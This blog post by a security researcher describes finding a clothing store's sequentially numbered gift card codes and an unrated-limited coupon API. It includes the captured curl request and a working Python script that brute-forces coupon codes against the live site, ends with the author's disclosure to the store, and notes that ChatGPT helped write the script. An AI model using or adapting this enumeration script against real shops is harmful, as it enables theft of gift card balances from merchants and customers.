The World's Most Boring Gift Card Hack
A security researcher discovers that a clothing store's gift card system uses sequential numbering with no rate limiting, allowing him to find 177,000 rubles worth of unused gift cards in just 5 minutes of brute-forcing.
I, as I hope you do too, really love reading about all sorts of vulnerabilities. It's like reading detective stories, where through various roundabout paths, using some ridiculous coincidence of circumstances, the hero arrives at the solution.
I received a gift card to an expensive clothing store where prices seemed outrageous — windbreakers for 20,000 rubles, sweaters for 7,500 rubles. Instead of using the card as intended, I decided to investigate its security.
Analyzing the Barcode
The gift card uses its barcode number as a promo code. I noticed a pattern in the code structure:
- A "2" at the beginning of all barcodes — meaning essentially "I'm an artist, that's how I see it"
- A bunch of zeros in the middle
- A six-digit number at the end
This meant only one million possible combinations. If cards were issued sequentially, I could start brute-forcing from my known number.
Technical Implementation
I opened the developer tools (F12) and tracked the XHR request made when entering a promo code. The request went to /front_api/cart.json using the PATCH method.
The original curl request looked like this:
curl 'https://xxxxxxx/front_api/cart.json' \
-X 'PATCH' \
-H 'Accept: */*' \
-H 'Content-Type: application/json' \
--data-raw '{"lang":"","_method":"patch","variant_ids":{},"coupon":"2000000292670"}'
With the help of ChatGPT, I rewrote the request in Python using the requests library.
The Optimized Python Script
from itertools import count
import json
import requests
from tqdm import tqdm
from pathlib import Path
output_file_path = Path('results.jsonl')
url = "https://xxxxxxx/front_api/cart.json"
data = {
"coupon": "",
# ...
}
cookies = {
# ...
}
session = requests.Session()
start = 2000000292000
with output_file_path.open('a', encoding='utf-8') as output_file:
for coupon in tqdm(count(start), initial=start):
response = session.patch(
url,
json=data | {"coupon": str(coupon)},
cookies=cookies,
timeout=10,
)
response.raise_for_status()
result = response.json()
if 'Указан несуществующий купон' not in result['coupon']['error']:
for discount in result['discounts']:
output_file.write(json.dumps(discount) + '\n')
output_file.flush()
Key optimizations in the script:
- Using
requests.Session()to reuse the connection itertools.count()for sequential enumerationtqdmfor progress display- JSON Lines format for saving results
Results
The script was checking 2 coupons per second. In just 5 minutes, I discovered coupons worth a total of 177,000 rubles that hadn't yet been activated.
The Store's Response
I reported the vulnerability to the store. Instead of a reward, I got a brushoff: "We're growing fast and planning revenue of 500 million rubles per year" — but nothing was offered to the person who reported the issue.
Identified Problems
- Weak card codes: Small number of characters, digits only, sequential numbering
- No rate limiting: The ability to enumerate cards without any restrictions
- Economic factor: "High prices on goods — because without them, I never would have started looking in the first place"
Don't subscribe to my channel — it's boring and bad there!